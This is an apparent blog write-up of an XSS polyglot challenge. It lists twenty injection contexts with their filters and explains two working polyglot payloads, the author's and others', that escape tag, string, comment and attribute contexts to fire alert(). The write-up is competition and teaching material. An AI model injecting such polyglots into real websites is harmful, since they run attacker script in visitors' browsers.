This work came out from XSS Polyglot Challenge created by @filedescriptor

Main rules are:

  • No DOM sinks or external libraries are involved
  • Network is disabled

Also it needs to pass 20 common contexts:

  • 01: <div class="{{payload}}"></div>

  • 02: <div class='{{payload}}'></div>

  • 03: <title>{{payload}}</title>

  • 04: <textarea>{{payload}}</textarea>

  • 05: <style>{{payload}}</style>

  • 06: <noscript>{{payload}}</noscript>

  • 07: <noembed>{{payload}}</noembed>

  • 08: <template>{{payload}}</template>

  • 09: <frameset>{{payload}}</frameset>

  • 10: <select><option>{{payload}}</option></select>

  • 11: <script type="text/template">{{payload}}</script>

  • 12: <!--{{payload}}-->

  • 13: <iframe src="{{payload}}"></iframe> , Filter: " →

  • 14: <iframe srcdoc="{{payload}}"></iframe> , Filter: " → , < →

  • 15: <script>"{{payload}}"</script> , Filter: </script → <\/script

  • 16: <script>'{{payload}}'</script> , Filter: </script → <\/script

  • 17: <script>`{{payload}}`</script> , Filter: </script → <\/script

  • 18: <script>//{{payload}}</script> , Filter: </script → <\/script

  • 19: <script>/*{{payload}}*/</script> , Filter: </script → <\/script

  • 20: <script>"{{payload}}"</script> , Filter: </script → <\/script, " → \"


I finished at #6 for 144 bytes payload :), it looks like this:

javascript:"/*'//`//\"//</template/</title/</textarea/</style/</noscript/</noembed/</script/--><script>/&lt;i<frame */
onload=alert()//</script>

Notice there are two lines. The key of is solution is &lt;i<frame, it becomes <iframe in context 14, and also pass <frame for context 09.

Other contexts are gather in 3 categories:

  • Need to exit tag context: <title>, <textarea>, <style>, <noscript>, <noembed>, <template>
  • Play with string context: ", ', `, //, /*
  • Open context

Interesting challenge! In the end, I found out about other people payload, like this:

javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \"
onmouseover=/*&lt;svg/*/onload=alert()//>

The differency is that for <frameset> (09) and for open tag contexts (where you put <script>alert()</script>), they used <html onmousemove=alert()>, which is quite unique, creative and convenient :)